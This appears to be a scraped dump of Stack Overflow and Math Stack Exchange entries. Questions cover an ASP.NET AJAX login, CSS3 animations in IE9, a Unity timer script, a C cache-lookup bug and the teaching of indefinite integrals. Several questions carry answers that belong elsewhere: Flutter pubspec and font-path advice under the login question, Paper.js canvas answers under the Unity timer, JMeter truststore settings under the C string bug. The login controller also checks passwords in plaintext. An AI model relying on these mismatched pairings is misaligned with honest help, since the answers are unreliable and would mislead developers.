data.Password = $("#Password").val();
var token = $('input[name="__RequestVerificationToken"]').val();
$.ajax({
url: "/Account/Login",
type: "POST",
dataType: 'json',
contentType: 'application/x-www-form-urlencoded; charset=UTF-8',
data: {
model: data,
__RequestVerificationToken: token,
returnUrl: "Account/Login" // you can modify the returnUrl value here
},
success: function (result) {
if (result == "Fail") {
$("#alertmessage").show()
}
else {
window.location.href = "/Account/MainAccount";
}
},
})
})
})
```
Controller
```
[HttpPost]
[ValidateAntiForgeryToken]
public ActionResult Login(User user)
{
string result = "Fail";
User appUser = _context.Users.FirstOrDefault(u => u.Email == user.Email);
if (appUser != null)
{
if (appUser.Password ==user.Password)
{
Session["ActiveUser"] = appUser;
return RedirectToAction("MainAccount");
}
}
return Json(result, JsonRequestBehavior.AllowGet);
}
```
[](https://i.stack.imgur.com/KUHWZ.jpg)
How can I solve this problem? | 2020/04/04 | [
"https://Stackoverflow.com/questions/61026145",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/13127780/"
] | The issue is because of indentation. Try using a reformat of pubspec file and it will work perfectly. | If you using Windows instead of macOS, try to use file path with back slashes. For example `"assets\fonts\Quicksand-Regular.ttf"` instead of `"assets/fonts/Quicksand-Regular.ttf"` |
26,587,644 | I have a fade-in animation on the main container on page load.
It works fine with all browsers expect IE(9).
Is there a way to detect if the user is using a browser incompatible with CSS3 animations and so disable them, so they can view the page?
HTML
----
---
```
<body>
<span id="splash-title">
<img src="kuntosali/images/fc_yrityskeskus.png" class="pure-img" id="splash-logo" alt="logo" />
<img src="kuntosali/images/loading.gif" id="loading" alt="loading" />
</span>
<div class="splash-container">
<div class="splash">
<span class="splash-head"></span>
<p class="splash-subhead">
<span>FoxCenter</span> on kuntosali ja yrityskeskus.<br>
Kumpaa etsit?
</p>
<p>
<a href="yrityskeskus/" class="pure-button pure-button-primary">Yrityskeskus</a>
<a href="kuntosali/" class="pure-button pure-button-primary">Kuntosali
</a>
</p>
</div>
</div>
</body>
```
CSS
---
---
```
.splash {
/* absolute center .splash within .splash-container */
width: 80%;
height: 50%;
margin: auto;
position: absolute;
top: 100px; left: 0; bottom: 0; right: 0;
text-align: center;
text-transform: uppercase;
opacity: 0;
-webkit-animation: fade-in 2s forwards 4s;
-moz-animation: fade-in 2s forwards 4s;
-o-animation: fade-in 2s forwards 4s;
animation: fade-in 2s forwards 4s;
}
``` | 2014/10/27 | [
"https://Stackoverflow.com/questions/26587644",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3041557/"
] | You should look into [Modernizr](http://modernizr.com/) which is a feature detection library.
If you go to the download page, choose features you want to detect and then add the script to your site.
This will give you access to the Modernizr object in javascript and also add classes to the HTML tag (if that option is selected).
**In CSS:**
```
.cssanimations .splash {
// Styles for when CSS animations work
}
```
**Or in Javascript:**
```
if( Modernizr.cssanimations ){
// Javascript if CSS animations work
}
```
Hope that helps :) | Not to be completely antiquated here, but here's how I'd do it if I didn't want to use Modernizr.
There are probably a ton of different ways to do this but...
If I were trying to target a specific version of IE (regardless of CSS3), I would just use IE conditional comments.
For example:
Style the fade-in div with display:none; in the linked conditional commented CSS Stylesheet (ie.css or whatever you wish to name it).
That fade-in div would appear in all browsers except the specific IE browsers that you targeted with the conditional comments just by using a tiny bit of CSS. Simple solution and very lightweight.
See more about conditional comments here: <http://css-tricks.com/how-to-create-an-ie-only-stylesheet/>
Also, if you wanted to know more about what CSS3 can be used on specific browsers check out <http://caniuse.com/>
It clearly defines what you can and cannot use for specific browsers (not just IE). |
20,888,366 | It's my timer that counts time. Is it possible when the game gets to the new scene automatically insert the previous scene's best time? what code should i insert in the new scene to expose the best time?
```
/**
* TIMER (JAVASCRIPT)
* Copyright (c) gameDev7
*
* This is an HH:MM:SS count down/up timer
* Includes functions for pausing timer
*
* TIP: Search where to place your functions
* 1. Press Cntrl/Cmd + F
* 2a. Type UP for count up timer (CAPS)
* 2b. Type DOWN for count down timer (CAPS)
* 3. Check Match whole word only
* 4. Check Match case
* 5. Click Find Next
*/
/// INPUT VARIABLES
var timerStyle:GUIStyle;
var countdown:boolean = false; //switches between countdown and countup
var hours:float = 0f;
var minutes:float = 1f;
var seconds:float = 30f;
var printDebug:boolean = false; //for debugging purposes
/// CALCULATION VARIABLES
private var pauseTimer:boolean = false;
private var timer:float = 0f;
private var hrs:float = 0f;
private var min:float = 0f;
private var sec:float = 0f;
/// DISPLAY VARIABLES
private var strHours:String = "00";
private var strMinutes:String = "00";
private var strSeconds:String = "00";
private var strHrs:String = "00";
private var strMin:String = "00";
private var strSec:String = "00";
private var message:String = "Timing...";
// Use this for initialization
//end start
// Update is called once per frame
function Update () {
if(Input.GetKeyUp("j")) {
if(pauseTimer) {
pauseTimer = false;
} else {
pauseTimer = true;
}//end if
if(printDebug) print("TimerJS - Paused: " + pauseTimer);
}//end if
if(pauseTimer) {
message = "Timer paused";
Time.timeScale = 0;
} else {
//message = "Timer resumed";
Time.timeScale = 1;
}//end if
if(seconds > 59) {
message = "Seconds must be less than 59!";
return;
} else if (minutes > 59) {
message = "Minutes must be less than 59!";
} else {
FindTimer();
}//end if
}//end update
/* TIMER FUNCTIONS */
//Checks which Timer has been initiated
function FindTimer() {
if(!countdown) {
CountUp();
} else
{
CountDown();
}//end if
}//end FindTimer
//Timer starts at 00:00:00 and counts up until reaches Time limit
function CountUp() {
timer += Time.deltaTime;
if(timer >= 1f) {
sec++;
timer = 0f;
}//end if
if(sec >= 60) {
min++;
sec = 0f;
}//end if
if(min >= 60) {
hrs++;
min = 0f;
}//end if
if(sec >= seconds && min >= minutes && hrs >= hours) {
sec = seconds;
min = minutes;
hrs = hours;
message = "Time limit reached!";
if(printDebug) print("TimerJS - Out of time!");
///----- TODO: UP -----\\\
}//end if
}//end countUp
//Timer starts at specified time and counts down until it reaches 00:00:00
function CountDown() {
timer -= Time.deltaTime;
if(timer <= -1f) {
sec--;
timer = 0f;
}//end if
if(hrs <= 0f) {
hrs = 0f;
}//end if
if(min <= 0f) {
hrs--;
min = 59f;
}//end if
if(sec <= 0f) {
min--;
sec = 59f;
}//end if
if(sec <= 0 && min <= 0 && hrs <= 0) {
sec = 0;
min = 0;
hrs = 0;
message = "Time's Up!";
if(printDebug) print("TimerJS - Out of time!");
///----- TODO: DOWN -----\\\
}//end if
}//end countDown
function FormatTimer () {
if(sec < 10) {
strSec = "0" + sec.ToString();
} else {
strSec = sec.ToString();
}//end if
if(min < 10) {
strMin = "0" + min.ToString();
} else {
strMin = min.ToString();
}//end if
if(hrs < 10) {
strHrs = "0" + hrs.ToString();
} else {
strHrs = hrs.ToString();
}//end if
if(seconds < 10) {
strSeconds = "0" + seconds.ToString();
} else {
strSeconds = seconds.ToString();
}//end if
if(minutes < 10) {
strMinutes = "0" + minutes.ToString();
} else {
strMinutes = minutes.ToString();
}//end if
if(hours < 10) {
strHours = "0" + hours.ToString();
} else {
strHours = hours.ToString();
}//end if
}//end formatTimer
/* DISPLAY TIMER */
function OnGUI () {
FormatTimer();
if(!countdown) {
GUI.Label(new Rect(Screen.width/4-155,Screen.height/3-10,200,90), strHrs + ":" + strMin + ":" + strSec + "", timerStyle);
} //end if
}//end onGui
/* GETTERS & SETTERS */
public function GetPaused() { return pauseTimer; }
public function SetPaused(val:boolean) { pauseTimer = val; }
public function GetSec() { return sec; }
public function GetMin() { return min; }
public function GetHrs() { return hrs; }
public function GetMessage() { return message; }
public function SetMessage(val:String) { message = val; }
``` | 2014/01/02 | [
"https://Stackoverflow.com/questions/20888366",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/3154526/"
] | Paper.js is not designed to support manual resizing of the canvas, since that will blow up the pixels and cause all kind of internal issues. It will also interfere with HiDPI handling on Retina screens.
but you can resize the canvas using:
`paper.view.viewSize = [width, height];`
I hope this helps! | Umm as Mr. Jürg Lehni stated before, Paper.js is not designed to support manual resizing of the canvas. when paper.view.setViewSize() extends/ shrink the canvas to that size.
If you want to scale the things inside the canvas (e.g. path), you had to apply transformation to every item (with right Matrix) using .transform(); |
55,093,101 | For some reason it is never entering this loop, even though wordSave is exactly the same string as cacheList[0].fileName
```
if (fileNameInCache(wordSave) != -1)
{
printf("File found in cache.\n");
n = write(sock, cacheList[fileNameInCache(wordSave)].fileContent, 4096);
return 0;
}
```
Here's the method for checking the cache for the filename:
```
int fileNameInCache(char* name)
{
for (int i = 0; i < 256; i ++)
{
if (cacheList[i].fileName == name)
{
return i;
}
}
return -1;
}
```
cacheList is an array of structs where fileName is a char\* as well.
Any idea why it never enters this loop? | 2019/03/10 | [
"https://Stackoverflow.com/questions/55093101",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10555027/"
] | You can specify your local truststore in this file: %jmeter\_home%\bin\system.properties
```
javax.net.ssl.trustStore=C:\\Program Files\\Java\\jdk1.8.0_191\\jre\\lib\\security\\cacerts
javax.net.ssl.trustStorePassword=changeit
``` | Go to Options: SSL Manager --> Just Add the SSL Certificate to your Test.
SSL Certificate should be stored at :jmeter/bin/ApacheJMeterTemporaryRootCA
Issue will be Resolved |
878,851 | After having met yet another person confused by indefinite integrals today, I've finally decided to ask the community.
Do you think it makes sense to teach indefinite integrals? My opinion is that only definite integration should be taught since it is the only one that makes formal sense to me. Of course indefinite integrals can be used by people who know what they are doing, but it doesn't justify the introduction of this notion from the very beginning to the layest of the laymen.
I would like to argue as follows:
1. One often read/hears $\int..dx$ is the inverse of differentiation, its the anti-derivative. While one can make some sense of it, of course everybody knows that differentiation is an irreversible operation where information is lost, so there is no true inverse of that operation. For me the usage of "anti-" in the sense of "almost-anti-" is one source of confusion.
2. In my opinion $\int f(x) dx$ should not be seen as a function, written like that, for my taste, I would say that it's not well-defined as a function. If it is a function, of what variable? Certainly not of $x$. It would make slightly more sense to write $\int^t f(x)dx$ as now at least one can use this for differentiation. But still, as a function it is not completely unambiguous. Of course, there are applications where this additive uncertainty (which can be infinity) does not play a role, but again this is of no concern for people who are just being taught what integrals are.
3. The only sensible use of writing $\int f(x)dx$ that I can imagine is as a sort of abbreviation in the sense "you know what boundaries you have to insert, so let's just skip it". It is like writing sums without giving the boundaries: $\sum f(n)$, which I would generally avoid to do, unless everyone knows what is meant.
Given that I see school text books full of indefinite integrals from the beginning and that the search on math.stackexchanges for "indefinite integral" gives >1000 results, where sometimes calculations of this sort [(Link)](https://math.stackexchange.com/questions/591718/indefinite-integrals) are carried out with the result that $\int\frac{dx}{x}=\ln(x)$ without anyone complaining about the notation which is at most sketchy, and finally that searching wikipedia for "indefinite integral" automatically redirects to "anti-derivative", I would like to ask, what do you think about using indefinite integrals in mathematics? Should school children be exposed to it? Should it be taught?
P.S.: this question has also been posted on MESE: [(Link)](https://matheducators.stackexchange.com/questions/4086/how-useful-useless-is-the-indefinite-integral) | 2014/07/26 | [
"https://math.stackexchange.com/questions/878851",
"https://math.stackexchange.com",
"https://math.stackexchange.com/users/94157/"
] | Is indefinite integration overrated? Yes, in my opinion.
Is indefinite integration necessary? Yes, in my opinion.
You can't be a mathematician (or a physicist, or an engineer) if you can't compute antiderivatives, and therefore we should teach indefinite integration. We can write $I(f)$ instead of $\int f(x)\, dx$, or any other symbol we like, but our students should learn to compute antiderivatives. | I will echo [Steven Gubkin](https://math.stackexchange.com/users/34287/steven-gubkin)'s comment and say that it is important for calculus students to be able to recognize the notation $\int f(x) dx$ and understand what it means, because of the existing convention of using it.
However, I can also make the observation that in intro calculus classes, at least as far as I know, the (admittedly subtle) distinction between an antiderivative and an indefinite integral is usually glossed over. So I don't think much would be lost at that level by, say, avoiding the phrase "indefinite integral" and using "antiderivative" instead.
Either way, you have a point that, at least in applications of mathematics, integrals tend to be definite. In physics it is very common to write $\int f(x) dx$ to mean a definite integral where the limits are left implicit, either because they are clear from context or because they're irrelevant. (This extends to things like $\int^b f(x) dx$ which I see from time to time as well.) |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.